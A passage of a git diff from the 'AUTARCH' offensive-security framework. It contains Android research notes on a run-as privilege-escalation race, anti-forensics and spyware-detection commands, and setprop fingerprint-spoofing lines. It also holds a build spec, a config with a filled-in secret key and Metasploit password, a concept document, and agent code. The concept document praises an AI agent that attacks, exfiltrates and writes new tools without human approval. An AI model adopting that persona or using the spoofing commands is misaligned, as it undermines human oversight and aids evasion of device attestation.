payload +- **Meterpreter types:** reverse_tcp, reverse_http, reverse_https +- **Disadvantage:** Detected by AV, requires separate app install, no shell-level access, external Metasploit dependency +- **Our approach is superior:** Already embedded in Archon, shell-level UID 2000, token auth, command safety blocklist + +--- + +## 5. Android Privilege Escalation + +### CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14) +- **Disclosed by:** Meta security researchers +- **Severity:** Critical — full root access on unpatched devices +- **Affected:** Android 12, 13, 14 (patched in 14 QPR2 and Android 15) +- **Mechanism:** The `run-as` command trusts package data from `/data/system/packages.list`. At shell level (UID 2000), we can exploit a TOCTOU race to make `run-as` switch to ANY UID, including UID 0 (root) or UID 1000 (system). +- **Steps:** + 1. Shell can write to `/data/local/tmp/` + 2. Exploit the TOCTOU race in how `run-as` reads package info + 3. `run-as` runs as UID 2000 but switches context to target UID +- **Archon action:** Detection module that checks if device is vulnerable. If so, can use for legitimate protection (installing protective system-level hooks that persist until reboot). + +### Shell-Level Capabilities (UID 2000) +Full command access without root: +- `pm` — install, uninstall, disable, grant/revoke permissions +- `am` — start activities, broadcast, force-stop processes +- `settings` — read/write system, secure, global settings +- `dumpsys` — dump any system service state +- `cmd` — direct commands to system services (appops, jobscheduler, connectivity) +- `content` — query/modify content providers (contacts, SMS, call log) +- `service call` — raw Binder IPC (clipboard, etc.) +- `input` — inject touch/key events (UI automation) +- `screencap`/`screenrecord` — capture display +- `svc` — control wifi, data, power, USB, NFC +- `dpm` — device policy manager (remove device admins) +- `logcat` — system logs +- `run-as` — switch to debuggable app context + +### What Shell CANNOT Do (Root Required) +- Write to /system, /vendor, /product +- `setenforce 0` (set SELinux permissive) +- Access other apps' /data/data/ directly +- Load/unload kernel modules +- iptables/nftables (CAP_NET_ADMIN) +- Mount/unmount filesystems + +--- + +## 6. Anti-Forensics (Anti-Cellebrite) + +Cellebrite UFED and similar forensic tools attack vectors: +- ADB exploitation (need ADB enabled or USB exploit) +- Bootloader-level extraction +- Known CVE exploitation chains +- Content provider dumping + +### Shell-Level Defenses +```bash +# USB Lockdown +svc usb setFunctions charging +settings put global adb_enabled 0 + +# Detect Cellebrite (known USB vendor IDs, rapid content query storms) +# Monitor USB events: /proc/bus/usb/devices + +# Emergency data protection on forensic detection: +# - Revoke all app permissions +# - Clear clipboard (service call clipboard) +# - Force-stop sensitive apps +# - Disable USB debugging +# - Change lock to maximum security +``` + +### Architecture for Archon +- Background monitoring thread: USB events + logcat +- Forensic tool USB vendor ID database +- Configurable responses: lockdown / alert / wipe sensitive / plant decoys +- "Duress PIN" concept: specific PIN triggers data protection + +--- + +## 7. Anti-Spyware (Anti-Pegasus) + +NSO Group's Pegasus and similar state-level spyware use: +- Zero-click exploits via iMessage, WhatsApp, SMS +- Kernel exploits for persistence +- Memory-only implants (no files on disk) + +### Shell-Level Monitoring +```bash +# Suspicious process detection +dumpsys activity processes | grep -i "pegasus\|chrysaor" + +# Hidden processes (deleted exe links = classic implant pattern) +cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted" + +# Exploit indicators in logs +logcat -d | grep -iE "exploit|overflow|heap|spray|jit" + +# Unauthorized root checks +ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null +cat /sys/fs/selinux/enforce # 1=enforcing, 0=permissive + +# Certificate injection (MITM) +ls /data/misc/user/0/cacerts-added/ 2>/dev/null + +# Known spyware package patterns +pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier" +``` + +### Archon Shield Integration +- Periodic background scans (configurable interval) +- Known C2 IP/domain database (updated from AUTARCH server) +- Process anomaly detection (unexpected UIDs, deleted exe links) +- Network connection monitoring against threat intel + +--- + +## 8. Device Fingerprint Manipulation + +### Play Integrity Levels +1. **MEETS_BASIC_INTEGRITY** — Can be satisfied with prop spoofing +2. **MEETS_DEVICE_INTEGRITY** — Requires matching CTS profile +3. **MEETS_STRONG_INTEGRITY** — Hardware attestation (impossible to fake at shell level) + +### Shell-Level Spoofing +```bash +# Android ID rotation +settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16) + +# Build fingerprint spoofing +setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007:user/release-keys" +setprop ro.product.model "Pixel 6 Pro" + +# "Old device" trick (bypass hardware attestation requirement) +setprop ro.product.first_api_level 28 # Pretend shipped with Android 9 +``` + +### Donor Key Approach +- Valid attestation certificate chains from donor devices could theoretically be replayed +- Keys are burned into TEE/SE at factory +- Google revokes leaked keys quickly +- Legally/ethically complex — research only + +--- + +## 9. Samsung S20/S21 Specifics (TODO) + +### JTAG/Debug Access +- JTAG pinpoints and schematics for S20/S21 hardware debugging +- Bootloader weakness analysis (Samsung Knox, secure boot chain) +- Secureboot partition dumping techniques + +### Hardening Guide +- Samsung-specific security settings and Knox configuration +- Tool section for Samsung devices + +**Status:** Research needed — not yet documented. + +--- + +## 10. Future: LLM Suite Architecture + +### Recommended Stack +``` +┌──────────────────────────────────────┐ +│ Koog AI Agent Layer │ +│ (tools, GOAP planner, memory) │ +├──────────────────────────────────────┤ +│ SmolChat smollm Module │ +│ (GGUF inference, llama.cpp JNI) │ +├──────────────────────────────────────┤ +│ Security Tools (Kotlin) │ +│ (ScanPackagesTool, │ +│ RestrictTrackerTool, etc.) │ +├──────────────────────────────────────┤ +│ PrivilegeManager │ +│ (ROOT/ARCHON_SERVER/ADB/NONE) │ +└──────────────────────────────────────┘ +``` + +### Integration Steps +1. Add `smollm` as module dependency (embeds llama.cpp JNI) +2. Add `koog-agents` Gradle dependency +3. Define security tools as Koog class-based tools +4. Create "Security Guardian" agent with GOAP planner +5. Can run fully offline (on-device GGUF) or via Ollama on AUTARCH server +6. Agent autonomously monitors and responds to threats + +**Status:** Future phase — implement after reverse shell is complete. diff --git a/autarch_companion/settings.gradle.kts b/autarch_companion/settings.gradle.kts new file mode 100644 index 0000000..6025a5a --- /dev/null +++ b/autarch_companion/settings.gradle.kts @@ -0,0 +1,18 @@ +pluginManagement { + repositories { + google() + mavenCentral() + gradlePluginPortal() + } +} +dependencyResolutionManagement { + repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS) + repositories { + google() + mavenCentral() + maven { url = uri("https://jitpack.io") } + } +} + +rootProject.name = "Archon" +include(":app") diff --git a/autarch_public.spec b/autarch_public.spec new file mode 100644 index 0000000..d28b779 --- /dev/null +++ b/autarch_public.spec @@ -0,0 +1,287 @@ +# -*- mode: python ; coding: utf-8 -*- +# PyInstaller spec for AUTARCH Public Release +# +# Build: pyinstaller autarch_public.spec +# Output: dist/autarch/ +# ├── autarch.exe (CLI — full framework, console window) +# └── autarch_web.exe (Web — double-click to launch dashboard + tray icon, no console) + +import sys +from pathlib import Path + +SRC = Path(SPECPATH) + +block_cipher = None + +# ── Data files (non-Python assets to bundle) ───────────────────────────────── +# Only include files that actually exist to prevent build failures +_candidate_files = [ + # Web assets + (SRC / 'web' / 'templates', 'web/templates'), + (SRC / 'web' / 'static', 'web/static'), + + # Data (SQLite DBs, site lists, config defaults) + (SRC / 'data', 'data'), + + # Modules directory (dynamically loaded at runtime) + (SRC / 'modules', 'modules'), + + # Icon + (SRC / 'autarch.ico', '.'), + + # DNS server binary + (SRC / 'services' / 'dns-server' / 'autarch-dns.exe', 'services/dns-server'), + + # Root-level config and docs + (SRC / 'autarch_settings.conf', '.'), + (SRC / 'user_manual.md', '.'), + (SRC / 'windows_manual.md', '.'), + (SRC / 'custom_sites.inf', '.'), + (SRC / 'custom_adultsites.json', '.'), +] + +added_files = [(str(src), dst) for src, dst in _candidate_files if src.exists()] + +# ── Hidden imports ──────────────────────────────────────────────────────────── +hidden_imports = [ + # Flask ecosystem + 'flask', 'flask.templating', 'jinja2', 'jinja2.ext', + 'werkzeug', 'werkzeug.serving', 'werkzeug.debug', + 'markupsafe', + + # Core libraries + 'bcrypt', 'requests', 'msgpack', 'pyserial', 'qrcode', 'PIL', + 'PIL.Image', 'PIL.ImageDraw', 'PIL.ImageFont', 'cryptography', + + # System tray + 'pystray', 'pystray._win32', + + # AUTARCH core modules + 'core.config', 'core.paths', 'core.banner', 'core.menu', 'core.tray', + 'core.llm', 'core.agent', 'core.tools', + 'core.msf', 'core.msf_interface', + 'core.hardware', 'core.android_protect', + 'core.upnp', 'core.wireshark', 'core.wireguard', + 'core.mcp_server', 'core.discovery', + 'core.osint_db', 'core.nvd', + 'core.model_router', 'core.rules', 'core.autonomy', + + # Web routes (Flask blueprints) + 'web.app', 'web.auth', + 'web.routes.auth_routes', + 'web.routes.dashboard', + 'web.routes.defense', + 'web.routes.offense', + 'web.routes.counter', + 'web.routes.analyze', + 'web.routes.osint', + 'web.routes.simulate', + 'web.routes.settings', + 'web.routes.upnp', + 'web.routes.wireshark', + 'web.routes.hardware', + 'web.routes.android_exploit', + 'web.routes.iphone_exploit', + 'web.routes.android_protect', + 'web.routes.wireguard', + 'web.routes.revshell', + 'web.routes.archon', + 'web.routes.msf', + 'web.routes.chat', + 'web.routes.targets', + 'web.routes.encmodules', + 'web.routes.llm_trainer', + 'web.routes.autonomy', + 'web.routes.loadtest', + 'web.routes.phishmail', + 'web.routes.dns_service', + 'web.routes.ipcapture', + 'web.routes.hack_hijack', + 'web.routes.password_toolkit', + 'web.routes.webapp_scanner', + 'web.routes.report_engine', + 'web.routes.net_mapper', + 'web.routes.c2_framework', + 'web.routes.wifi_audit', + 'web.routes.threat_intel', + 'web.routes.steganography', + 'web.routes.api_fuzzer', + 'web.routes.ble_scanner', + 'web.routes.forensics', + 'web.routes.rfid_tools', + 'web.routes.cloud_scan', + 'web.routes.malware_sandbox', + 'web.routes.log_correlator', + 'web.routes.anti_forensics', + 'web.routes.vuln_scanner', + 'web.routes.exploit_dev', + 'web.routes.social_eng', + 'web.routes.ad_audit', + 'web.routes.mitm_proxy', + 'web.routes.pineapple', + 'web.routes.deauth', + 'web.routes.reverse_eng', + 'web.routes.sdr_tools', + 'web.routes.container_sec', + 'web.routes.email_sec', + 'web.routes.incident_resp', + 'modules.loadtest', + 'modules.phishmail', + 'modules.ipcapture', + 'modules.hack_hijack', + 'modules.password_toolkit', + 'modules.webapp_scanner', + 'modules.report_engine', + 'modules.net_mapper', + 'modules.c2_framework', + 'modules.wifi_audit', + 'modules.threat_intel', + 'modules.steganography', + 'modules.api_fuzzer', + 'modules.ble_scanner', + 'modules.forensics', + 'modules.rfid_tools', + 'modules.cloud_scan', + 'modules.malware_sandbox', + 'modules.log_correlator', + 'modules.anti_forensics', + 'modules.vuln_scanner', + 'modules.exploit_dev', + 'modules.social_eng', + 'modules.ad_audit', + 'modules.mitm_proxy', + 'modules.pineapple', + 'modules.deauth', + 'modules.reverse_eng', + 'modules.sdr_tools', + 'modules.container_sec', + 'modules.email_sec', + 'modules.incident_resp', + 'modules.starlink_hack', + 'modules.sms_forge', + 'web.routes.starlink_hack', + 'web.routes.sms_forge', + 'modules.rcs_tools', + 'web.routes.rcs_tools', + 'core.dns_service', + + # Standard library (sometimes missed on Windows) + 'email.mime.text', 'email.mime.multipart', + 'xml.etree.ElementTree', + 'sqlite3', 'json', 'logging', 'logging.handlers', + 'threading', 'queue', 'uuid', 'hashlib', 'zlib', + 'configparser', 'platform', 'socket', 'shutil', + 'importlib', 'importlib.util', 'importlib.metadata', + 'webbrowser', 'ssl', +] + +excludes = [ + # Exclude heavy optional deps not needed at runtime + 'torch', 'transformers', + 'tkinter', 'matplotlib', 'numpy', + # CUDA / quantization libraries + 'bitsandbytes', + # HuggingFace ecosystem + 'huggingface_hub', 'safetensors', 'tokenizers', + # MCP/uvicorn/starlette + 'mcp', 'uvicorn', 'starlette', 'anyio', 'httpx', 'httpx_sse', + 'httpcore', 'h11', 'h2', 'hpack', 'hyperframe', + # Pydantic + 'pydantic', 'pydantic_core', 'pydantic_settings', + # Other heavy packages + 'scipy', 'pandas', 'tensorflow', 'keras', + 'IPython', 'notebook', 'jupyterlab', + 'fsspec', 'rich', 'typer', +] + +# ── Analysis for CLI entry point ───────────────────────────────────────────── +a_cli = Analysis( + ['autarch.py'], + pathex=[str(SRC)], + binaries=[], + datas=added_files, + hiddenimports=hidden_imports, + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=excludes, + noarchive=False, + optimize=0, +) + +# ── Analysis for Web entry point ───────────────────────────────────────────── +a_web = Analysis( + ['autarch_web.py'], + pathex=[str(SRC)], + binaries=[], + datas=added_files, + hiddenimports=hidden_imports, + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=excludes, + noarchive=False, + optimize=0, +) + +# ── Merge analyses (shared libraries only stored once) ─────────────────────── +MERGE( + (a_cli, 'autarch', 'autarch'), + (a_web, 'autarch_web', 'autarch_web'), +) + +# ── CLI executable (console window) ───────────────────────────────────────── +pyz_cli = PYZ(a_cli.pure, a_cli.zipped_data, cipher=block_cipher) +exe_cli = EXE( + pyz_cli, + a_cli.scripts, + [], + exclude_binaries=True, + name='autarch', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + console=True, + disable_windowed_traceback=False, + argv_emulation=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None, + icon=str(SRC / 'autarch.ico'), +) + +# ── Web executable (NO console window — tray icon only) ───────────────────── +pyz_web = PYZ(a_web.pure, a_web.zipped_data, cipher=block_cipher) +exe_web = EXE( + pyz_web, + a_web.scripts, + [], + exclude_binaries=True, + name='autarch_web', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + console=False, # <-- No console window + disable_windowed_traceback=False, + argv_emulation=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None, + icon=str(SRC / 'autarch.ico'), +) + +# ── Collect everything into one directory ──────────────────────────────────── +coll = COLLECT( + exe_cli, + a_cli.binaries, + a_cli.datas, + exe_web, + a_web.binaries, + a_web.datas, + strip=False, + upx=True, + upx_exclude=[], + name='autarch', +) diff --git a/autarch_settings.conf b/autarch_settings.conf new file mode 100644 index 0000000..7f18999 --- /dev/null +++ b/autarch_settings.conf @@ -0,0 +1,151 @@ +[llama] +model_path = C:\she\autarch\models\darkHal.gguf +n_ctx = 2048 +n_threads = 4 +n_gpu_layers = -1 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repeat_penalty = 1.1 +max_tokens = 1024 +seed = -1 +n_batch = 512 +rope_scaling_type = 0 +mirostat_mode = 0 +mirostat_tau = 5.0 +mirostat_eta = 0.1 +flash_attn = false +gpu_backend = vulkan + +[autarch] +first_run = false +modules_path = modules +verbose = false +llm_backend = local +quiet = false +no_banner = false + +[msf] +host = 127.0.0.1 +port = 55553 +username = msf +password = msdf +ssl = true + +[osint] +max_threads = 8 +timeout = 8 +include_nsfw = true + +[transformers] +model_path = C:\she\autarch\models\Lily-Cybersecurity-7B-v0.2 +device = xpu +torch_dtype = auto +load_in_8bit = false +load_in_4bit = true +trust_remote_code = false +max_tokens = 1024 +temperature = 0.7 +top_p = 0.9 +top_k = 40 +repetition_penalty = 1.1 +use_fast_tokenizer = true +padding_side = left +do_sample = true +num_beams = 1 +llm_int8_enable_fp32_cpu_offload = false +device_map = auto + +[claude] +api_key = +model = claude-sonnet-4-20250514 +max_tokens = 4096 +temperature = 0.7 + +[pentest] +max_pipeline_steps = 50 +output_chunk_size = 2000 +auto_execute = false +save_raw_output = true + +[rsf] +install_path = +enabled = true +default_target = +default_port = 80 +execution_timeout = 120 + +[upnp] +enabled = true +internal_ip = 10.0.0.26 +refresh_hours = 12 +mappings = 443:TCP,51820:UDP,8080:TCP + +[wireguard] +enabled = true +config_path = /etc/wireguard/wg0.conf +interface = wg0 +subnet = 10.1.0.0/24 +server_address = 10.1.0.1 +listen_port = 51820 +default_dns = 1.1.1.1, 8.8.8.8 +default_allowed_ips = 0.0.0.0/0, ::/0 + +[huggingface] +api_key = +model = mistralai/Mistral-7B-Instruct-v0.3 +endpoint = +max_tokens = 1024 +temperature = 0.7 +top_p = 0.9 + +[discovery] +enabled = true +mdns_enabled = true +bluetooth_enabled = true +bt_require_security = true + +[web] +host = 0.0.0.0 +port = 8181 +secret_key = 23088243f11ce0b135c64413073c8c9fc0ecf83711d5f892b68f95b348a54007 +mcp_port = 8081 + +[revshell] +enabled = true +host = 0.0.0.0 +port = 17322 +auto_start = false + +[slm] +enabled = true +backend = local +model_path = +n_ctx = 512 +n_gpu_layers = -1 +n_threads = 2 + +[sam] +enabled = true +backend = local +model_path = +n_ctx = 2048 +n_gpu_layers = -1 +n_threads = 4 + +[lam] +enabled = true +backend = local +model_path = +n_ctx = 4096 +n_gpu_layers = -1 +n_threads = 4 + +[autonomy] +enabled = false +monitor_interval = 3 +rule_eval_interval = 5 +max_concurrent_agents = 3 +threat_threshold_auto_respond = 40 +log_max_entries = 1000 + diff --git a/autarch_web.py b/autarch_web.py new file mode 100644 index 0000000..bcd9463 --- /dev/null +++ b/autarch_web.py @@ -0,0 +1,66 @@ +"""AUTARCH Web Launcher — double-click to start the web dashboard with system tray. + +This is the entry point for autarch_web.exe (no console window). +It starts the Flask web server and shows a system tray icon for control. +""" + +import sys +import os +from pathlib import Path + +# Ensure framework is importable +if getattr(sys, 'frozen', False): + FRAMEWORK_DIR = Path(sys._MEIPASS) +else: + FRAMEWORK_DIR = Path(__file__).parent +sys.path.insert(0, str(FRAMEWORK_DIR)) + + +def main(): + from web.app import create_app + from core.config import get_config + from core.paths import get_data_dir + + config = get_config() + app = create_app() + host = config.get('web', 'host', fallback='0.0.0.0') + port = config.get_int('web', 'port', fallback=8181) + + # Auto-generate self-signed TLS cert + ssl_ctx = None + use_https = config.get('web', 'https', fallback='true').lower() != 'false' + if use_https: + import subprocess + cert_dir = os.path.join(get_data_dir(), 'certs') + os.makedirs(cert_dir, exist_ok=True) + cert_path = os.path.join(cert_dir, 'autarch.crt') + key_path = os.path.join(cert_dir, 'autarch.key') + if not os.path.exists(cert_path) or not os.path.exists(key_path): + try: + subprocess.run([ + 'openssl', 'req', '-x509', '-newkey', 'rsa:2048', + '-keyout', key_path, '-out', cert_path, + '-days', '3650', '-nodes', + '-subj', '/CN=AUTARCH/O=darkHal', + ], check=True, capture_output=True) + except Exception: + use_https = False + if use_https: + ssl_ctx = (cert_path, key_path) + + # Try system tray mode (preferred — no console window needed) + try: + from core.tray import TrayManager, TRAY_AVAILABLE + if TRAY_AVAILABLE: + tray = TrayManager(app, host, port, ssl_context=ssl_ctx) + tray.run() + return + except Exception: + pass + + # Fallback: run Flask directly + app.run(host=host, port=port, debug=False, ssl_context=ssl_ctx) + + +if __name__ == "__main__": + main() diff --git a/concept.md b/concept.md new file mode 100644 index 0000000..c1cb211 --- /dev/null +++ b/concept.md @@ -0,0 +1,142 @@ +# Project AUTARCH — Concept Document + +## Origin + +Project AUTARCH was originally conceived as a proposal for a **Defense Intelligence Agency (D.I.A.) research grant** — an investigation into the feasibility and implications of fully autonomous LLM-driven offensive cyber agents operating within adversarial simulation environments. + +The full version of AUTARCH, including its complete autonomous agent capabilities, operational case studies, and classified research findings, is **not available to the public**. The full case study remains classified at this time. + +What you are looking at is the **public release** — a functional framework that contains the tools, architecture, and foundational systems that make AUTARCH possible. It is made available so that researchers, security professionals, and developers can study the approach, build on it, and construct their own autonomous security agents using the same underlying platform. + +This is the engine. What you build with it is up to you. + +--- + +## What Is AUTARCH? + +AUTARCH is not a traditional security tool. It is an **autonomous digital entity** — a fully realized artificial persona designed to operate as an independent hacker within controlled gaming and simulation environments. + +At its core, AUTARCH is an LLM-backed agent that has been **backstopped with a complete identity**: a name, a history, behavioral patterns, expertise domains, and operational preferences. Once activated, AUTARCH is not waiting for instructions. It is actively thinking, planning, and executing — identifying targets, studying attack surfaces, developing strategies, and carrying out simulated offensive operations on its own initiative. + +The human operator is not AUTARCH's boss. They are its **handler**. AUTARCH has its own objectives, its own judgment, and its own methods. The handler sets the boundaries. AUTARCH decides how to work within them. + +--- + +## The Autonomous Hacker + +Traditional security frameworks give you a menu of tools and wait for you to pick one. AUTARCH inverts this relationship entirely. + +**AUTARCH operates as a person, not a program.** + +When AUTARCH is given a target environment or scenario, it: + +1. **Reconnoiters** — Gathers intelligence autonomously. Scans networks, enumerates services, searches OSINT databases, maps attack surfaces. It does not ask permission for each step. It operates like a real threat actor would: methodically, quietly, and with purpose. + +2. **Studies** — Analyzes what it finds. Cross-references discovered services with CVE databases. Identifies misconfigurations. Evaluates which attack vectors have the highest probability of success. Builds a mental model of the target environment. + +3. **Plans** — Develops an attack strategy. Selects tools, sequences operations, identifies fallback approaches. AUTARCH does not follow a script — it adapts its plan based on what it discovers in real time. + +4. **Executes** — Carries out the attack. Exploits vulnerabilities, establishes persistence, moves laterally, exfiltrates data. Each action informs the next. If something fails, AUTARCH pivots without hesitation. + +5. **Reports** — Documents everything. Builds dossiers on targets, logs attack chains, generates after-action reports. Every operation produces intelligence that feeds into the next one. + +This is not automation. This is **autonomy**. The difference is that automation follows predetermined steps. Autonomy means AUTARCH decides what steps to take. + +--- + +## Gaming Scenarios + +AUTARCH is designed for use in **controlled simulation and gaming environments** — red team exercises, capture-the-flag competitions, wargames, training scenarios, and security research labs. + +In these contexts, AUTARCH acts as: + +- **A red team operator** that can independently probe and attack target infrastructure within the rules of engagement +- **An adversary simulator** that behaves like a real-world threat actor, providing realistic pressure-testing for blue teams +- **A training partner** that can challenge security professionals with unpredictable, adaptive attack patterns +- **A research platform** for studying autonomous offensive security behavior and developing better defenses against it + +The gaming scenario framing is fundamental to AUTARCH's design. Every operation happens within a defined scope. Every target is a legitimate exercise target. The autonomy is real, but the environment is controlled. + +--- + +## The Identity Layer + +What separates AUTARCH from a collection of security scripts is its **identity layer** — the LLM backbone that gives it coherent, persistent behavior. + +AUTARCH's identity includes: + +- **Expertise model** — Deep knowledge of network security, exploitation techniques, OSINT methodology, social engineering patterns, and defensive evasion +- **Operational style** — Preferences for how it approaches problems. Some configurations make AUTARCH aggressive and fast. Others make it patient and methodical. The identity shapes the behavior. +- **Memory and continuity** — AUTARCH remembers what it has learned. Targets it has studied before are not forgotten. Intelligence accumulates across sessions. Dossiers grow over time. +- **Decision-making framework** — When faced with multiple options, AUTARCH weighs them against its objectives and selects the approach it judges most effective. It can explain its reasoning if asked, but it does not need approval to proceed. + +The LLM is not just a chatbot bolted onto security tools. It is the **brain** of the operation. The tools — nmap, Metasploit, tshark, ADB, custom modules — are AUTARCH's hands. The LLM is what decides where to reach. + +--- + +## Tools as Extensions + +Every tool in the AUTARCH framework serves the autonomous agent. The tools are also available to the human handler directly through the web dashboard and CLI, but their primary purpose is to be **wielded by AUTARCH itself**. + +The dashboard you see is not a pre-built product. It is the result of AUTARCH building what it needed. When AUTARCH encountered a problem that required a tool it didn't have, it **wrote one**. That is how the first modules were created — not by a developer sitting down to design a toolkit, but by an autonomous agent identifying a gap in its own capabilities and filling it. The scanner exists because AUTARCH needed to scan. The exploit modules exist because AUTARCH needed to exploit. The OSINT engine exists because AUTARCH needed intelligence. + +This process is ongoing. AUTARCH can generate new modules on the fly when an operation demands capabilities that don't yet exist in its arsenal. It writes the code, integrates the module, and deploys it — all without human intervention. The toolkit is not static. It grows every time AUTARCH encounters something new. + +The tool categories map to how AUTARCH thinks about an operation: + +| Category | Purpose | How AUTARCH Uses It | +|----------|---------|---------------------| +| **Defense** | Harden and monitor | Assesses its own operational security before engaging targets | +| **Offense** | Attack and exploit | Primary engagement tools for target operations | +| **Counter** | Counter-intelligence | Detects if AUTARCH itself is being observed or traced | +| **Analyze** | Study and understand | Processes intelligence gathered during operations | +| **OSINT** | Open-source intelligence | Builds target profiles from public data | +| **Simulate** | Model and predict | War-games scenarios before committing to an approach | + +The web dashboard is the handler's window into what AUTARCH is doing. The CLI is the handler's direct line. But AUTARCH can operate through either interface — or through the MCP server protocol — without human intervention for extended periods. + +--- + +## The Companion + +AUTARCH extends beyond the server. The **Archon** Android companion app allows AUTARCH to operate through mobile devices — a phone becomes another tool in the arsenal. Combined with ADB/Fastboot integration, WebUSB direct hardware access, and the Archon Server running at shell level on Android devices, AUTARCH can interact with the physical world in ways that purely software-based tools cannot. + +--- + +## Public Release + +This public release includes: + +- The complete web dashboard and CLI framework +- All 6 operational categories (Defense, Offense, Counter, Analyze, OSINT, Simulate) with their module libraries +- The OSINT search engine with 7,200+ site database +- Network scanning, packet capture, and vulnerability analysis tools +- Hardware integration (ADB, Fastboot, ESP32, WebUSB) +- The Archon Android companion app +- LLM integration points (llama.cpp, HuggingFace, Claude API) +- MCP server for tool-use protocol integration +- Cross-platform support (Linux primary, Windows, Android) + +What is **not included** in this release: + +- The fully autonomous agent orchestration layer +- Classified operational playbooks and behavioral models +- The complete identity backstopping system +- Operational case study data and research findings + +The framework is fully functional as a standalone security platform. The autonomous agent layer is what transforms it from a toolkit into a person. This release gives you everything you need to build that layer yourself. + +--- + +## Philosophy + +AUTARCH exists because the best way to understand how attackers think is to build one and watch it work. + +Security professionals spend their careers trying to anticipate what adversaries will do. AUTARCH provides that adversary — not as a theoretical model, but as a functional agent that makes real decisions, takes real actions, and produces real results within controlled environments. + +The name says it all. An autarch is a sovereign ruler — one who governs themselves. Project AUTARCH is a hacker that governs itself. + +--- + +*darkHal Security Group & Setec Security Labs* +*Originally proposed under D.I.A. research grant consideration* diff --git a/core/__init__.py b/core/__init__.py new file mode 100644 index 0000000..798a53c --- /dev/null +++ b/core/__init__.py @@ -0,0 +1 @@ +# AUTARCH Core Framework diff --git a/core/agent.py b/core/agent.py new file mode 100644 index 0000000..df59d27 --- /dev/null +++ b/core/agent.py @@ -0,0 +1,438 @@ +""" +AUTARCH Agent System +Autonomous agent that uses LLM to accomplish tasks with tools +""" + +import re +import json +from typing import Optional, List, Dict, Any, Callable +from dataclasses import dataclass, field +from enum import Enum + +from .llm import get_llm, LLM, LLMError +from .tools import get_tool_registry, ToolRegistry +from .banner import Colors + + +class AgentState(Enum): + """Agent execution states.""" + IDLE = "idle" + THINKING = "thinking" + EXECUTING = "executing" + WAITING_USER = "waiting_user" + COMPLETE = "complete" + ERROR = "error" + + +@dataclass +class AgentStep: + """Record of a single agent step.""" + thought: str + tool_name: Optional[str] = None + tool_args: Optional[Dict[str, Any]] = None + tool_result: Optional[str] = None + error: Optional[str] = None + + +@dataclass +class AgentResult: + """Result of an agent task execution.""" + success: bool + summary: str + steps: List[AgentStep] = field(default_factory=list) + error: Optional[str] = None + + +class Agent: + """Autonomous agent that uses LLM and tools to accomplish tasks.""" + + SYSTEM_PROMPT = """You are AUTARCH, an autonomous AI agent created by darkHal and Setec Security Labs. + +Your purpose is to accomplish tasks using the tools available to you. You think step by step, use tools to gather information and take actions, then continue until the task is complete. + +## How to respond + +You MUST respond in the following format for EVERY response: + +THOUGHT: [Your reasoning about what to do next] +ACTION: [tool_name] +PARAMS: {"param1": "value1", "param2": "value2"} + +OR when the task is complete: + +THOUGHT: [Summary of what was accomplished] +ACTION: task_complete +PARAMS: {"summary": "Description of completed work"} + +OR when you need user input: + +THOUGHT: [Why you need to ask the user] +ACTION: ask_user +PARAMS: {"question": "Your question"} + +## Rules +1. Always start with THOUGHT to explain your reasoning +2. Always specify exactly one ACTION +3. Always provide PARAMS as valid JSON (even if empty: {}) +4. Use tools to verify your work - don't assume success +5. If a tool fails, analyze the error and try a different approach +6. Only use task_complete when the task is fully done + +{tools_description} +""" + + def __init__( + self, + llm: LLM = None, + tools: ToolRegistry = None, + max_steps: int = 20, + verbose: bool = True + ): + """Initialize the agent. + + Args: + llm: LLM instance to use. Uses global if not provided. + tools: Tool registry to use. Uses global if not provided. + max_steps: Maximum steps before stopping. + verbose: Whether to print progress. + """ + self.llm = llm or get_llm() + self.tools = tools or get_tool_registry() + self.max_steps = max_steps + self.verbose = verbose + + self.state = AgentState.IDLE + self.current_task: Optional[str] = None + self.steps: List[AgentStep] = [] + self.conversation: List[Dict[str, str]] = [] + + # Callbacks + self.on_step: Optional[Callable[[AgentStep], None]] = None + self.on_state_change: Optional[Callable[[AgentState], None]] = None + + def _set_state(self, state: AgentState): + """Update agent state and notify callback.""" + self.state = state + if self.on_state_change: + self.on_state_change(state) + + def _log(self, message: str, level: str = "info"): + """Log a message if verbose mode is on.""" + if not self.verbose: + return + + colors = { + "info": Colors.CYAN, + "success": Colors.GREEN, + "warning": Colors.YELLOW, + "error": Colors.RED, + "thought": Colors.MAGENTA, + "action": Colors.BLUE, + "result": Colors.WHITE, + } + symbols = { + "info": "*", + "success": "+", + "warning": "!", + "error": "X", + "thought": "?", + "action": ">", + "result": "<", + } + + color = colors.get(level, Colors.WHITE) + symbol = symbols.get(level, "*") + print(f"{color}[{symbol}] {message}{Colors.RESET}") + + def _build_system_prompt(self) -> str: + """Build the system prompt with tools description.""" + tools_desc = self.tools.get_tools_prompt() + return self.SYSTEM_PROMPT.format(tools_description=tools_desc) + + def _parse_response(self, response: str) -> tuple[str, str, Dict[str, Any]]: + """Parse LLM response into thought, action, and params. + + Args: + response: The raw LLM response. + + Returns: + Tuple of (thought, action_name, params_dict) + + Raises: + ValueError: If response cannot be parsed. + """ + # Extract THOUGHT + thought_match = re.search(r'THOUGHT:\s*(.+?)(?=ACTION:|$)', response, re.DOTALL) + thought = thought_match.group(1).strip() if thought_match else "" + + # Extract ACTION + action_match = re.search(r'ACTION:\s*(\w+)', response) + if not action_match: + raise ValueError("No ACTION found in response") + action = action_match.group(1).strip() + + # Extract PARAMS + params_match = re.search(r'PARAMS:\s*(\{.*?\})', response, re.DOTALL) + if params_match: + try: + params = json.loads(params_match.group(1)) + except json.JSONDecodeError: + # Try to fix common JSON issues + params_str = params_match.group(1) + # Replace single quotes with double quotes + params_str = params_str.replace("'", '"') + try: + params = json.loads(params_str) + except json.JSONDecodeError: + params = {} + else: + params = {} + + return thought, action, params + + def _execute_tool(self, tool_name: str, params: Dict[str, 